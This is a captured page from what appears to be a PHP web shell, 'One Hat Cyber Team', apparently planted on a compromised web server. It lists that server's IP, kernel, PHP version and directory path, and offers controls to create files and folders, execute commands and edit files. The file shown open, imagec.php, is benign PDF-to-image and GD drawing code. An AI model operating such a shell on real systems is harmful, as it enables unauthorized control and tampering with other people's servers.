One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
public_html
/
fpdf
/
Edit File:
imagec.php
<?php /* $im = new imagick(''); $im->setImageFormat('jpg'); header('Content-Type: image/jpeg'); echo $im; */ $pdf = 'https://www.shahajservice.com/fpdf/frontwater-100179.pdf'; $image = new Imagick($pdf); $image->setImageFormat( "jpeg" ); $thumbnail = $image->getImageBlob(); $image->writeImage('pdfAsImage.jpg'); /* header("Content-Type: image/jpeg"); $Page = new Imagick("frontroom-100179.pdf"); $Page->setResolution(100,100); $Page -> setImageFormat('jpeg'); echo $Page; */ /* $pdf = 'https://www.shahajservice.com/fpdf/frontroom-100179.pdf'; $im = new Imagick($pdf); $im->setImageFormat('jpg'); header('Content-Type: image/jpeg'); $im->writeImage('pdfAsImage.jpg'); */ /* $im = imagecreate( 10, 10 ); $filename = "ajith.jpg"; $im = imagecreatefromjpeg($filename); list($width, $height) = getimagesize($filename); $newwidth = $width/5; $newheight = $height/5; $destination = imagecreatetruecolor($newwidth, $newheight); $background = imagecolorallocate( $im, 0, 0, 255 ); $text_colour = imagecolorallocate( $im, 255, 255, 0 ); $line_colour = imagecolorallocate( $im, 128, 255, 0 ); imagestring( $destination, 4, 30, 25, "thesitewizard.com", $text_colour ); imagesetthickness ( $im, 5 ); imageline( $im, 30, 45, 165, 45, $line_colour ); header( "Content-type: image/png" ); imagepng( $im ); imagecolordeallocate( $line_color ); imagecolordeallocate( $text_color ); imagecolordeallocate( $background ); imagedestroy( $im ); */ /* header("Content-type: image/png"); $string = "ganesh"; $im = imagecreatefrompng("default.png"); $orange = imagecolorallocate($im, 220, 210, 60); $px = (imagesx($im) - 7.5 * strlen($string)) / 2; imagestring($im, 3, $px, 9, $string, $orange); imagepng($im); imagedestroy($im); */ // get the original image /* $original_image = imagecreatefrompng("default.png"); $original_image1 = imagecreatefrompng("logo2.png"); // create new image $im = imagecreate(100, 100); $new_image = imagecreate(384,960); $background = imagecolorallocate($im, 255, 0, 0); /* $text_colour = imagecolorallocate( $new_image, 255, 255, 255 ); * // define red color (it will be the background of the new image) $red = imagecolorallocate($new_image, 255, 255, 255); $blue = imagecolorallocate($new_image, 52, 152, 219); imagestring( $new_image, 20, 220, 40, "SHA HAJ SERVICE", $blue ); imagestring( $new_image, 2, 210, 70, "(INDIA) PRIVATE LIMITED", $blue ); imagestring( $new_image, 1, 56, 100, "APPROVED BY GOVT OF INDIA AND KSA | ISO CERTIFIED COMPANY", $blue ); imagecopyresized($new_image, $original_image, 130, 155, 0, 0, 120, 120, 500, 500); imagecopyresized($new_image, $original_image1, 10, 10, 0, 0, 100, 100, 500, 500); imagepng($new_image,"new_image.png"); imagedestroy($new_image); print "<img src=image.png> <br>New image<BR> <img src=new_image.png>"; */ /* $string = $_GET['text']; $im = imagecreatefrompng("default.png"); $orange = imagecolorallocate($im, 220, 210, 60); $px = (imagesx($im) - 7.5 * strlen($string)) / 2; imagestring($im, 3, $px, 9, $string, $orange); imagepng($im); imagedestroy($im); ?> /* header("Content-type: image/png"); $im = imagecreate( 204, 326 ); $string = $_GET['text']; $im = imagecreatefrompng("default.png"); $orange = imagecolorallocate($im, 220, 210, 60); $px = (imagesx($im) - 7.5 * strlen($string)) / 2; imagestring($im, 4, $px, 9, $string, $orange); imagepng($im); imagedestroy($im); */ ?>
Simpan